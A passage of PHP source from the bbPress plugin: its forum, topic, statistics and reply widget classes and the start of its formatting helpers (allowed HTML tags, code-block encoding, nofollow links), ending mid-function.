				<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $settings['title'] ); ?>" />
			</label>
		</p>

		<?php
	}

	/**
	 * Merge the widget settings into defaults array.
	 *
	 * @since 2.3.0 bbPress (r4802)
	 *
	 * @param $instance Instance
	 */
	public function parse_settings( $instance = array() ) {
		return bbp_parse_args( $instance, array(
			'title' => esc_html__( 'Search Forums', 'bbpress' )
		), 'search_widget_settings' );
	}
}

/**
 * bbPress Forum Widget
 *
 * Adds a widget which displays the forum list
 *
 * @since 2.0.0 bbPress (r2653)
 */
class BBP_Forums_Widget extends WP_Widget {

	/**
	 * bbPress Forum Widget
	 *
	 * Registers the forum widget
	 *
	 * @since 2.0.0 bbPress (r2653)
	 */
	public function __construct() {
		$widget_ops = apply_filters( 'bbp_forums_widget_options', array(
			'classname'                   => 'widget_display_forums',
			'description'                 => esc_html__( 'A list of forums with an option to set the parent.', 'bbpress' ),
			'customize_selective_refresh' => true
		) );

		parent::__construct( false, esc_html__( '(bbPress) Forums List', 'bbpress' ), $widget_ops );
	}

	/**
	 * Register the widget
	 *
	 * @since 2.0.0 bbPress (r3389)
	 */
	public static function register_widget() {
		register_widget( 'BBP_Forums_Widget' );
	}

	/**
	 * Displays the output, the forum list
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param array $args Arguments
	 * @param array $instance Instance
	 */
	public function widget( $args, $instance ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance );

		// Typical WordPress filter
		$settings['title'] = apply_filters( 'widget_title',           $settings['title'], $instance, $this->id_base );

		// bbPress filter
		$settings['title'] = apply_filters( 'bbp_forum_widget_title', $settings['title'], $instance, $this->id_base );

		// Note: private and hidden forums will be excluded via the
		// bbp_pre_get_posts_normalize_forum_visibility action and function.
		$widget_query = new WP_Query( array(

			// What and how
			'post_type'      => bbp_get_forum_post_type(),
			'post_status'    => bbp_get_public_status_id(),
			'post_parent'    => $settings['parent_forum'],
			'posts_per_page' => (int) get_option( '_bbp_forums_per_page', 50 ),

			// Order
			'orderby' => 'menu_order title',
			'order'   => 'ASC',

			// Performance
			'ignore_sticky_posts'    => true,
			'no_found_rows'          => true,
			'update_post_term_cache' => false,
			'update_post_meta_cache' => false
		) );

		// Bail if no posts
		if ( ! $widget_query->have_posts() ) {
			return;
		}

		echo $args['before_widget'];

		if ( ! empty( $settings['title'] ) ) {
			echo $args['before_title'] . $settings['title'] . $args['after_title'];
		} ?>

		<ul class="bbp-forums-widget">

			<?php while ( $widget_query->have_posts() ) : $widget_query->the_post(); ?>

				<li <?php echo ( bbp_get_forum_id() === $widget_query->post->ID ? ' class="bbp-forum-widget-current-forum"' : '' ); ?>>
					<a class="bbp-forum-title" href="<?php bbp_forum_permalink( $widget_query->post->ID ); ?>">
						<?php bbp_forum_title( $widget_query->post->ID ); ?>
					</a>
				</li>

			<?php endwhile; ?>

		</ul>

		<?php echo $args['after_widget'];

		// Reset the $post global
		wp_reset_postdata();
	}

	/**
	 * Update the forum widget options
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param array $new_instance The new instance options
	 * @param array $old_instance The old instance options
	 */
	public function update( $new_instance, $old_instance ) {
		$instance                 = $old_instance;
		$instance['title']        = strip_tags( $new_instance['title'] );
		$instance['parent_forum'] = sanitize_text_field( $new_instance['parent_forum'] );

		// Force to any
		if ( ! empty( $instance['parent_forum'] ) && ! is_numeric( $instance['parent_forum'] ) ) {
			$instance['parent_forum'] = 'any';
		}

		return $instance;
	}

	/**
	 * Output the forum widget options form
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param $instance Instance
	 */
	public function form( $instance ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance ); ?>

		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php esc_html_e( 'Title:', 'bbpress' ); ?>
				<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $settings['title'] ); ?>" />
			</label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'parent_forum' ); ?>"><?php esc_html_e( 'Parent Forum ID:', 'bbpress' ); ?>
				<input class="widefat" id="<?php echo $this->get_field_id( 'parent_forum' ); ?>" name="<?php echo $this->get_field_name( 'parent_forum' ); ?>" type="text" value="<?php echo esc_attr( $settings['parent_forum'] ); ?>" />
			</label>

			<br />

			<small><?php esc_html_e( '"0" to show only root - "any" to show all', 'bbpress' ); ?></small>
		</p>

		<?php
	}

	/**
	 * Merge the widget settings into defaults array.
	 *
	 * @since 2.3.0 bbPress (r4802)
	 *
	 * @param $instance Instance
	 */
	public function parse_settings( $instance = array() ) {
		return bbp_parse_args( $instance, array(
			'title'        => esc_html__( 'Forums', 'bbpress' ),
			'parent_forum' => 0
		), 'forum_widget_settings' );
	}
}

/**
 * bbPress Topic Widget
 *
 * Adds a widget which displays the topic list
 *
 * @since 2.0.0 bbPress (r2653)
 */
class BBP_Topics_Widget extends WP_Widget {

	/**
	 * bbPress Topic Widget
	 *
	 * Registers the topic widget
	 *
	 * @since 2.0.0 bbPress (r2653)
	 */
	public function __construct() {
		$widget_ops = apply_filters( 'bbp_topics_widget_options', array(
			'classname'                   => 'widget_display_topics',
			'description'                 => esc_html__( 'A list of recent topics, sorted by: newness, popularity, or recent replies.', 'bbpress' ),
			'customize_selective_refresh' => true
		) );

		parent::__construct( false, esc_html__( '(bbPress) Recent Topics', 'bbpress' ), $widget_ops );
	}

	/**
	 * Register the widget
	 *
	 * @since 2.0.0 bbPress (r3389)
	 */
	public static function register_widget() {
		register_widget( 'BBP_Topics_Widget' );
	}

	/**
	 * Displays the output, the topic list
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param array $args
	 * @param array $instance
	 */
	public function widget( $args = array(), $instance = array() ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance );

		// Typical WordPress filter
		$settings['title'] = apply_filters( 'widget_title',           $settings['title'], $instance, $this->id_base );

		// bbPress filter
		$settings['title'] = apply_filters( 'bbp_topic_widget_title', $settings['title'], $instance, $this->id_base );

		// How do we want to order our results?
		switch ( $settings['order_by'] ) {

			// Order by most recent replies
			case 'freshness' :
				$topics_query = array(

					// What and how
					'post_type'      => bbp_get_topic_post_type(),
					'post_status'    => bbp_get_public_topic_statuses(),
					'post_parent'    => $settings['parent_forum'],
					'posts_per_page' => (int) $settings['max_shown'],
					'meta_query'     => array( array(
						'key'  => '_bbp_last_active_time',
						'type' => 'DATETIME'
					) ),

					// Ordering
					'orderby' => 'meta_value',
					'order'   => 'DESC',

					// Performance
					'ignore_sticky_posts'    => true,
					'no_found_rows'          => true,
					'update_post_term_cache' => false,
					'update_post_meta_cache' => false
				);
				break;

			// Order by total number of replies
			case 'popular' :
				$topics_query = array(

					// What and how
					'post_type'      => bbp_get_topic_post_type(),
					'post_status'    => bbp_get_public_topic_statuses(),
					'post_parent'    => $settings['parent_forum'],
					'posts_per_page' => (int) $settings['max_shown'],
					'meta_query'     => array( array(
						'key'  => '_bbp_reply_count',
						'type' => 'NUMERIC'
					) ),

					// Ordering
					'orderby' => 'meta_value_num',
					'order'   => 'DESC',

					// Performance
					'ignore_sticky_posts'    => true,
					'no_found_rows'          => true,
					'update_post_term_cache' => false,
					'update_post_meta_cache' => false
				);
				break;

			// Order by which topic was created most recently
			case 'newness' :
			default :
				$topics_query = array(

					// What and how
					'post_type'      => bbp_get_topic_post_type(),
					'post_status'    => bbp_get_public_topic_statuses(),
					'post_parent'    => $settings['parent_forum'],
					'posts_per_page' => (int) $settings['max_shown'],

					// Ordering
					'orderby' => 'date',
					'order'   => 'DESC',

					// Performance
					'ignore_sticky_posts'    => true,
					'no_found_rows'          => true,
					'update_post_term_cache' => false,
					'update_post_meta_cache' => false
				);
				break;
		}

		// Note: private and hidden forums will be excluded via the
		// bbp_pre_get_posts_normalize_forum_visibility action and function.
		$widget_query = new WP_Query( $topics_query );

		// Bail if no topics are found
		if ( ! $widget_query->have_posts() ) {
			return;
		}

		// Start an output buffer
		ob_start();

		echo $args['before_widget'];

		if ( ! empty( $settings['title'] ) ) {
			echo $args['before_title'] . $settings['title'] . $args['after_title'];
		} ?>

		<ul class="bbp-topics-widget <?php echo esc_attr( $settings['order_by'] ); ?>">

			<?php while ( $widget_query->have_posts() ) :

				$widget_query->the_post();
				$topic_id    = bbp_get_topic_id( $widget_query->post->ID );
				$author_link = '';

				// Maybe get the topic author
				if ( ! empty( $settings['show_user'] ) ) :
					$author_link = bbp_get_topic_author_link( array( 'post_id' => $topic_id, 'type' => 'both', 'size' => 14 ) );
				endif; ?>

				<li>
					<a class="bbp-forum-title" href="<?php bbp_topic_permalink( $topic_id ); ?>"><?php bbp_topic_title( $topic_id ); ?></a>

					<?php if ( ! empty( $author_link ) ) : ?>

						<?php printf( esc_html_x( 'by %1$s', 'widgets', 'bbpress' ), '<span class="topic-author">' . $author_link . '</span>' ); ?>

					<?php endif; ?>

					<?php if ( ! empty( $settings['show_date'] ) ) : ?>

						<div><?php bbp_topic_last_active_time( $topic_id ); ?></div>

					<?php endif; ?>

				</li>

			<?php endwhile; ?>

		</ul>

		<?php echo $args['after_widget'];

		// Reset the $post global
		wp_reset_postdata();

		// Output the current buffer
		echo ob_get_clean();
	}

	/**
	 * Update the topic widget options
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param array $new_instance The new instance options
	 * @param array $old_instance The old instance options
	 */
	public function update( $new_instance = array(), $old_instance = array() ) {
		$instance                 = $old_instance;
		$instance['title']        = strip_tags( $new_instance['title'] );
		$instance['order_by']     = strip_tags( $new_instance['order_by'] );
		$instance['parent_forum'] = sanitize_text_field( $new_instance['parent_forum'] );
		$instance['max_shown']    = (int) $new_instance['max_shown'];

		// Date
		$instance['show_date'] = isset( $new_instance['show_date'] )
			? (bool) $new_instance['show_date']
			: false;

		// Author
		$instance['show_user'] = isset( $new_instance['show_user'] )
			? (bool) $new_instance['show_user']
			: false;

		// Force to any
		if ( ! empty( $instance['parent_forum'] ) && ! is_numeric( $instance['parent_forum'] ) ) {
			$instance['parent_forum'] = 'any';
		}

		return $instance;
	}

	/**
	 * Output the topic widget options form
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param $instance Instance
	 */
	public function form( $instance = array() ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance ); ?>

		<p><label for="<?php echo $this->get_field_id( 'title'     ); ?>"><?php esc_html_e( 'Title:',                  'bbpress' ); ?> <input class="widefat" id="<?php echo $this->get_field_id( 'title'     ); ?>" name="<?php echo $this->get_field_name( 'title'     ); ?>" type="text" value="<?php echo esc_attr( $settings['title']     ); ?>" /></label></p>
		<p><label for="<?php echo $this->get_field_id( 'max_shown' ); ?>"><?php esc_html_e( 'Maximum topics to show:', 'bbpress' ); ?> <input class="widefat" id="<?php echo $this->get_field_id( 'max_shown' ); ?>" name="<?php echo $this->get_field_name( 'max_shown' ); ?>" type="text" value="<?php echo esc_attr( $settings['max_shown'] ); ?>" /></label></p>

		<p>
			<label for="<?php echo $this->get_field_id( 'parent_forum' ); ?>"><?php esc_html_e( 'Parent Forum ID:', 'bbpress' ); ?>
				<input class="widefat" id="<?php echo $this->get_field_id( 'parent_forum' ); ?>" name="<?php echo $this->get_field_name( 'parent_forum' ); ?>" type="text" value="<?php echo esc_attr( $settings['parent_forum'] ); ?>" />
			</label>

			<br />

			<small><?php esc_html_e( '"0" to show only root - "any" to show all', 'bbpress' ); ?></small>
		</p>

		<p><label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php esc_html_e( 'Show post date:',    'bbpress' ); ?> <input type="checkbox" id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" <?php checked( true, $settings['show_date'] ); ?> value="1" /></label></p>
		<p><label for="<?php echo $this->get_field_id( 'show_user' ); ?>"><?php esc_html_e( 'Show topic author:', 'bbpress' ); ?> <input type="checkbox" id="<?php echo $this->get_field_id( 'show_user' ); ?>" name="<?php echo $this->get_field_name( 'show_user' ); ?>" <?php checked( true, $settings['show_user'] ); ?> value="1" /></label></p>

		<p>
			<label for="<?php echo $this->get_field_id( 'order_by' ); ?>"><?php esc_html_e( 'Order By:', 'bbpress' ); ?></label>
			<select name="<?php echo $this->get_field_name( 'order_by' ); ?>" id="<?php echo $this->get_field_id( 'order_by' ); ?>">
				<option <?php selected( $settings['order_by'], 'newness'   ); ?> value="newness"><?php esc_html_e( 'Newest Topics',                'bbpress' ); ?></option>
				<option <?php selected( $settings['order_by'], 'popular'   ); ?> value="popular"><?php esc_html_e( 'Popular Topics',               'bbpress' ); ?></option>
				<option <?php selected( $settings['order_by'], 'freshness' ); ?> value="freshness"><?php esc_html_e( 'Topics With Recent Replies', 'bbpress' ); ?></option>
			</select>
		</p>

		<?php
	}

	/**
	 * Merge the widget settings into defaults array.
	 *
	 * @since 2.3.0 bbPress (r4802)
	 *
	 * @param $instance Instance
	 */
	public function parse_settings( $instance = array() ) {
		return bbp_parse_args( $instance, array(
			'title'        => esc_html__( 'Recent Topics', 'bbpress' ),
			'max_shown'    => 5,
			'show_date'    => false,
			'show_user'    => false,
			'parent_forum' => 'any',
			'order_by'     => false
		), 'topic_widget_settings' );
	}
}

/**
 * bbPress Statistics Widget
 *
 * Adds a widget which displays the forum statistics
 *
 * @since 2.3.0 bbPress (r4509)
 */
class BBP_Stats_Widget extends WP_Widget {

	/**
	 * bbPress Statistics Widget
	 *
	 * Registers the statistics widget
	 *
	 * @since 2.3.0 bbPress (r4509)
	 */
	public function __construct() {
		$widget_ops = apply_filters( 'bbp_stats_widget_options', array(
			'classname'                   => 'widget_display_stats',
			'description'                 => esc_html__( 'Some statistics from your forum.', 'bbpress' ),
			'customize_selective_refresh' => true
		) );

		parent::__construct( false, esc_html__( '(bbPress) Statistics', 'bbpress' ), $widget_ops );
	}

	/**
	 * Register the widget
	 *
	 * @since 2.3.0 bbPress (r4509)
	 */
	public static function register_widget() {
		register_widget( 'BBP_Stats_Widget' );
	}

	/**
	 * Displays the output, the statistics
	 *
	 * @since 2.3.0 bbPress (r4509)
	 *
	 * @param array $args     Arguments
	 * @param array $instance Instance
	 */
	public function widget( $args = array(), $instance = array() ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance );

		// Typical WordPress filter
		$settings['title'] = apply_filters( 'widget_title',           $settings['title'], $instance, $this->id_base );

		// bbPress widget title filter
		$settings['title'] = apply_filters( 'bbp_stats_widget_title', $settings['title'], $instance, $this->id_base );

		echo $args['before_widget'];

		if ( ! empty( $settings['title'] ) ) {
			echo $args['before_title'] . $settings['title'] . $args['after_title'];
		}

		bbp_get_template_part( 'content', 'statistics' );

		echo $args['after_widget'];
	}

	/**
	 * Update the statistics widget options
	 *
	 * @since 2.3.0 bbPress (r4509)
	 *
	 * @param array $new_instance The new instance options
	 * @param array $old_instance The old instance options
	 *
	 * @return array
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = strip_tags( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Output the statistics widget options form
	 *
	 * @since 2.3.0 bbPress (r4509)
	 *
	 * @param $instance
	 *
	 * @return string|void
	 */
	public function form( $instance ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance ); ?>

		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php esc_html_e( 'Title:', 'bbpress' ); ?>
				<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $settings['title'] ); ?>"/>
			</label>
		</p>

	<?php
	}

	/**
	 * Merge the widget settings into defaults array.
	 *
	 * @since 2.3.0 bbPress (r4802)
	 *
	 * @param $instance Instance
	 */
	public function parse_settings( $instance = array() ) {
		return bbp_parse_args( $instance, array(
			'title' => esc_html__( 'Forum Statistics', 'bbpress' )
		), 'stats_widget_settings' );
	}
}

/**
 * bbPress Replies Widget
 *
 * Adds a widget which displays the replies list
 *
 * @since 2.0.0 bbPress (r2653)
 */
class BBP_Replies_Widget extends WP_Widget {

	/**
	 * bbPress Replies Widget
	 *
	 * Registers the replies widget
	 *
	 * @since 2.0.0 bbPress (r2653)
	 */
	public function __construct() {
		$widget_ops = apply_filters( 'bbp_replies_widget_options', array(
			'classname'                   => 'widget_display_replies',
			'description'                 => esc_html__( 'A list of the most recent replies.', 'bbpress' ),
			'customize_selective_refresh' => true
		) );

		parent::__construct( false, esc_html__( '(bbPress) Recent Replies', 'bbpress' ), $widget_ops );
	}

	/**
	 * Register the widget
	 *
	 * @since 2.0.0 bbPress (r3389)
	 */
	public static function register_widget() {
		register_widget( 'BBP_Replies_Widget' );
	}

	/**
	 * Displays the output, the replies list
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param array $args
	 * @param array $instance
	 */
	public function widget( $args, $instance ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance );

		// Typical WordPress filter
		$settings['title'] = apply_filters( 'widget_title',             $settings['title'], $instance, $this->id_base );

		// bbPress filter
		$settings['title'] = apply_filters( 'bbp_replies_widget_title', $settings['title'], $instance, $this->id_base );

		// Note: private and hidden forums will be excluded via the
		// bbp_pre_get_posts_normalize_forum_visibility action and function.
		$widget_query = new WP_Query( array(

			// What and when
			'post_type'      => bbp_get_reply_post_type(),
			'post_status'    => bbp_get_public_reply_statuses(),
			'posts_per_page' => (int) $settings['max_shown'],

			// Performance
			'ignore_sticky_posts'    => true,
			'no_found_rows'          => true,
			'update_post_term_cache' => false,
			'update_post_meta_cache' => false
		) );

		// Bail if no replies
		if ( ! $widget_query->have_posts() ) {
			return;
		}

		// Start an output buffer
		ob_start();

		echo $args['before_widget'];

		if ( ! empty( $settings['title'] ) ) {
			echo $args['before_title'] . $settings['title'] . $args['after_title'];
		} ?>

		<ul class="bbp-replies-widget">

			<?php while ( $widget_query->have_posts() ) : $widget_query->the_post(); ?>

				<li>

					<?php

					// Verify the reply ID
					$reply_id   = bbp_get_reply_id( $widget_query->post->ID );
					$reply_link = '<a class="bbp-reply-topic-title" href="' . esc_url( bbp_get_reply_url( $reply_id ) ) . '" title="' . esc_attr( bbp_get_reply_excerpt( $reply_id, 50 ) ) . '">' . esc_html( bbp_get_reply_topic_title( $reply_id ) ) . '</a>';
					$time       = get_the_time( 'U', $reply_id );
					$show_date  = '<time datetime="' . gmdate( 'Y-m-d H:i:s', $time ) . '">' . esc_html( bbp_get_time_since( $time ) ) . '</time>';

					// Only query user if showing them
					if ( ! empty( $settings['show_user'] ) ) :
						$author_link = bbp_get_reply_author_link( array( 'post_id' => $reply_id, 'type' => 'both', 'size' => 14 ) );
					else :
						$author_link = false;
					endif;

					// Reply author, link, and timestamp
					if ( ! empty( $settings['show_date'] ) && ! empty( $author_link ) ) :

						// translators: 1: reply author, 2: reply link, 3: reply timestamp
						printf( esc_html_x( '%1$s on %2$s %3$s', 'widgets', 'bbpress' ), $author_link, $reply_link, $show_date );

					// Reply link and timestamp
					elseif ( ! empty( $settings['show_date'] ) ) :
						echo $reply_link . ' ' . $show_date;

					// Reply author and title
					elseif ( ! empty( $author_link ) ) :

						// translators: 1: reply author, 2: reply link
						printf( esc_html_x( '%1$s on %2$s', 'widgets', 'bbpress' ), $author_link, $reply_link );

					// Only the reply title
					else :
						echo $reply_link;
					endif;

					?>

				</li>

			<?php endwhile; ?>

		</ul>

		<?php echo $args['after_widget'];

		// Reset the $post global
		wp_reset_postdata();

		// Output the current buffer
		echo ob_get_clean();
	}

	/**
	 * Update the reply widget options
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param array $new_instance The new instance options
	 * @param array $old_instance The old instance options
	 */
	public function update( $new_instance = array(), $old_instance = array() ) {
		$instance              = $old_instance;
		$instance['title']     = strip_tags( $new_instance['title'] );
		$instance['max_shown'] = (int) $new_instance['max_shown'];

		// Date
		$instance['show_date'] = isset( $new_instance['show_date'] )
			? (bool) $new_instance['show_date']
			: false;

		// Author
		$instance['show_user'] = isset( $new_instance['show_user'] )
			? (bool) $new_instance['show_user']
			: false;

		return $instance;
	}

	/**
	 * Output the reply widget options form
	 *
	 * @since 2.0.0 bbPress (r2653)
	 *
	 * @param $instance Instance
	 */
	public function form( $instance = array() ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance ); ?>

		<p><label for="<?php echo $this->get_field_id( 'title'     ); ?>"><?php esc_html_e( 'Title:',                   'bbpress' ); ?> <input class="widefat" id="<?php echo $this->get_field_id( 'title'     ); ?>" name="<?php echo $this->get_field_name( 'title'     ); ?>" type="text" value="<?php echo esc_attr( $settings['title']     ); ?>" /></label></p>
		<p><label for="<?php echo $this->get_field_id( 'max_shown' ); ?>"><?php esc_html_e( 'Maximum replies to show:', 'bbpress' ); ?> <input class="widefat" id="<?php echo $this->get_field_id( 'max_shown' ); ?>" name="<?php echo $this->get_field_name( 'max_shown' ); ?>" type="text" value="<?php echo esc_attr( $settings['max_shown'] ); ?>" /></label></p>
		<p><label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php esc_html_e( 'Show post date:',          'bbpress' ); ?> <input type="checkbox" id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" <?php checked( true, $settings['show_date'] ); ?> value="1" /></label></p>
		<p><label for="<?php echo $this->get_field_id( 'show_user' ); ?>"><?php esc_html_e( 'Show reply author:',       'bbpress' ); ?> <input type="checkbox" id="<?php echo $this->get_field_id( 'show_user' ); ?>" name="<?php echo $this->get_field_name( 'show_user' ); ?>" <?php checked( true, $settings['show_user'] ); ?> value="1" /></label></p>

		<?php
	}

	/**
	 * Merge the widget settings into defaults array.
	 *
	 * @since 2.3.0 bbPress (r4802)
	 *
	 * @param $instance Instance
	 */
	public function parse_settings( $instance = array() ) {
		return bbp_parse_args( $instance, array(
			'title'     => esc_html__( 'Recent Replies', 'bbpress' ),
			'max_shown' => 5,
			'show_date' => false,
			'show_user' => false
		), 'replies_widget_settings' );
	}
}
includes/common/formatting.php000066600000055740151771460310012551 0ustar00<?php

/**
 * bbPress Formatting
 *
 * @package bbPress
 * @subpackage Formatting
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Kses **********************************************************************/

/**
 * Custom allowed tags for forum topics and replies
 *
 * Allows all users to post links, quotes, code, formatting, lists, and images
 *
 * @since 2.3.0 bbPress (r4603)
 *
 * @return array Associative array of allowed tags and attributes
 */
function bbp_kses_allowed_tags() {

	// Filter & return
	return (array) apply_filters( 'bbp_kses_allowed_tags', array(

		// Links
		'a' => array(
			'href'     => true,
			'title'    => true,
			'rel'      => true,
			'target'   => true
		),

		// Quotes
		'blockquote'   => array(
			'cite'     => true
		),

		// Code
		'code'         => array(),
		'pre'          => array(
			'class'    => true
		),

		// Formatting
		'em'           => array(),
		'strong'       => array(),
		'del'          => array(
			'datetime' => true,
			'cite'     => true
		),
		'ins' => array(
			'datetime' => true,
			'cite'     => true
		),

		// Lists
		'ul'           => array(),
		'ol'           => array(
			'start'    => true,
		),
		'li'           => array(),

		// Images
		'img'          => array(
			'src'      => true,
			'border'   => true,
			'alt'      => true,
			'height'   => true,
			'width'    => true,
		)
	) );
}

/**
 * Custom kses filter for forum topics and replies, for filtering incoming data
 *
 * @since 2.3.0 bbPress (r4603)
 *
 * @param string $data Content to filter, expected to be escaped with slashes
 * @return string Filtered content
 */
function bbp_filter_kses( $data = '' ) {
	return wp_slash( wp_kses( wp_unslash( $data ), bbp_kses_allowed_tags() ) );
}

/**
 * Custom kses filter for forum topics and replies, for raw data
 *
 * @since 2.3.0 bbPress (r4603)
 *
 * @param string $data Content to filter, expected to not be escaped
 * @return string Filtered content
 */
function bbp_kses_data( $data = '' ) {
	return wp_kses( $data , bbp_kses_allowed_tags() );
}

/** Formatting ****************************************************************/

/**
 * Filter the topic or reply content and output code and pre tags
 *
 * @since 2.3.0 bbPress (r4641)
 *
 * @param string $content Topic and reply content
 * @return string Partially encoded content
 */
function bbp_code_trick( $content = '' ) {
	$content = str_replace( array( "\r\n", "\r" ), "\n", $content );
	$content = preg_replace_callback( "|(`)(.*?)`|",      'bbp_encode_callback', $content );
	$content = preg_replace_callback( "!(^|\n)`(.*?)`!s", 'bbp_encode_callback', $content );

	return $content;
}

/**
 * When editing a topic or reply, reverse the code trick so the textarea
 * contains the correct editable content.
 *
 * @since 2.3.0 bbPress (r4641)
 *
 * @param string $content Topic and reply content
 * @return string Partially encoded content
 */
function bbp_code_trick_reverse( $content = '' ) {

	// Setup variables
	$openers = array( '<p>', '<br />' );
	$content = preg_replace_callback( "!(<pre><code>|<code>)(.*?)(</code></pre>|</code>)!s", 'bbp_decode_callback', $content );

	// Do the do
	$content = str_replace( $openers,       '',       $content );
	$content = str_replace( '</p>',         "\n",     $content );
	$content = str_replace( '<coded_br />', '<br />', $content );
	$content = str_replace( '<coded_p>',    '<p>',    $content );
	$content = str_replace( '</coded_p>',   '</p>',   $content );

	return $content;
}

/**
 * Filter the content and encode any bad HTML tags
 *
 * @since 2.3.0 bbPress (r4641)
 *
 * @param string $content Topic and reply content
 * @return string Partially encoded content
 */
function bbp_encode_bad( $content = '' ) {

	// Setup variables
	$content = _wp_specialchars( $content, ENT_NOQUOTES );
	$content = preg_split( '@(`[^`]*`)@m', $content, -1, PREG_SPLIT_NO_EMPTY + PREG_SPLIT_DELIM_CAPTURE );
	$allowed = bbp_kses_allowed_tags();
	$empty   = array(
		'br'    => true,
		'hr'    => true,
		'img'   => true,
		'input' => true,
		'param' => true,
		'area'  => true,
		'col'   => true,
		'embed' => true
	);

	// Loop through allowed tags and compare for empty and normal tags
	foreach ( $allowed as $tag => $args ) {
		$preg = $args ? "{$tag}(?:\s.*?)?" : $tag;

		// Which walker to use based on the tag and arguments
		if ( isset( $empty[ $tag ] ) ) {
			array_walk( $content, 'bbp_encode_empty_callback',  $preg );
		} else {
			array_walk( $content, 'bbp_encode_normal_callback', $preg );
		}
	}

	// Return the joined content array
	return implode( '', $content );
}

/** Code Callbacks ************************************************************/

/**
 * Callback to encode the tags in topic or reply content
 *
 * @since 2.3.0 bbPress (r4641)
 *
 * @param array $matches
 * @return string
 */
function bbp_encode_callback( $matches = array() ) {

	// Trim inline code, not pre blocks (to prevent removing indentation)
	if ( "`" === $matches[1] ) {
		$content = trim( $matches[2] );
	} else {
		$content = $matches[2];
	}

	// Do some replacing
	$content = htmlspecialchars( $content, ENT_QUOTES );
	$content = str_replace( array( "\r\n", "\r" ), "\n", $content );
	$content = preg_replace( "|\n\n\n+|", "\n\n", $content );
	$content = str_replace( '&amp;amp;', '&amp;', $content );
	$content = str_replace( '&amp;lt;',  '&lt;',  $content );
	$content = str_replace( '&amp;gt;',  '&gt;',  $content );

	// Wrap in code tags
	$content = '<code>' . $content . '</code>';

	// Wrap blocks in pre tags
	if ( "`" !== $matches[1] ) {
		$content = "\n<pre>" . $content . "</pre>\n";
	}

	return $content;
}

/**
 * Callback to decode the tags in topic or reply content
 *
 * @since 2.3.0 bbPress (r4641)
 *
 * @param array $matches
 * @todo Experiment with _wp_specialchars()
 * @return string
 */
function bbp_decode_callback( $matches = array() ) {

	// Setup variables
	$trans_table = array_flip( get_html_translation_table( HTML_ENTITIES ) );
	$amps        = array( '&#38;','&#038;', '&amp;' );
	$single      = array( '&#39;','&#039;'          );
	$content     = $matches[2];
	$content     = strtr( $content, $trans_table );

	// Do the do
	$content = str_replace( '<br />', '<coded_br />', $content );
	$content = str_replace( '<p>',    '<coded_p>',    $content );
	$content = str_replace( '</p>',   '</coded_p>',   $content );
	$content = str_replace( $amps,    '&',            $content );
	$content = str_replace( $single,  "'",            $content );

	// Return content wrapped in code tags
	return '`' . $content . '`';
}

/**
 * Callback to replace empty HTML tags in a content string
 *
 * @since 2.3.0 bbPress (r4641)
 *
 * @internal Used by bbp_encode_bad()
 * @param string $content
 * @param string $key Not used
 * @param string $preg
 */
function bbp_encode_empty_callback( &$content = '', $key = '', $preg = '' ) {
	if ( strpos( $content, '`' ) !== 0 ) {
		$content = preg_replace( "|&lt;({$preg})\s*?/*?&gt;|i", '<$1 />', $content );
	}
}

/**
 * Callback to replace normal HTML tags in a content string
 *
 * @since 2.3.0 bbPress (r4641)
 *
 * @internal Used by bbp_encode_bad()
 *
 * @param string $content
 * @param string $key
 * @param string $preg
 */
function bbp_encode_normal_callback( &$content = '', $key = '', $preg = '') {
	if ( strpos( $content, '`' ) !== 0 ) {
		$content = preg_replace( "|&lt;(/?{$preg})&gt;|i", '<$1>', $content );
	}
}

/** No Follow *****************************************************************/

/**
 * Catches links so rel=nofollow can be added (on output, not save)
 *
 * @since 2.3.0 bbPress (r4865)
 *
 * @param string $text Post text
 * @return string $text Text with rel=nofollow added to any links
 */
function bbp_rel_nofollow( $text = '' ) {
	return preg_replace_callback( '|<a (.+?)>|i', 'bbp_rel_nofollow_callback', $text );
}

/**
 * Adds rel=nofollow to a link
 *
 * @since 2.3.0 bbPress (r4865)
 *
 * @param array $matches
 * @return string $text Link with rel=nofollow added
 */
function bbp_rel_nofollow_callback( $matches = array() ) {
	$text     = $matches[1];
	$atts     = shortcode_parse_atts( $matches[1] );
	$rel      = 'nofollow';
	$home_url = home_url();

	// Bail on links that match the current domain
	if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( $home_url, 'http'  ) ) . ')%i', $text ) ||
	     preg_match( '%href=["\'](' . preg_quote( set_url_scheme( $home_url, 'https' ) ) . ')%i', $text )
	) {
		return "<a {$text}>";
	}

	// Avoid collisions with existing "rel" attribute
	if ( ! empty( $atts['rel'] ) ) {
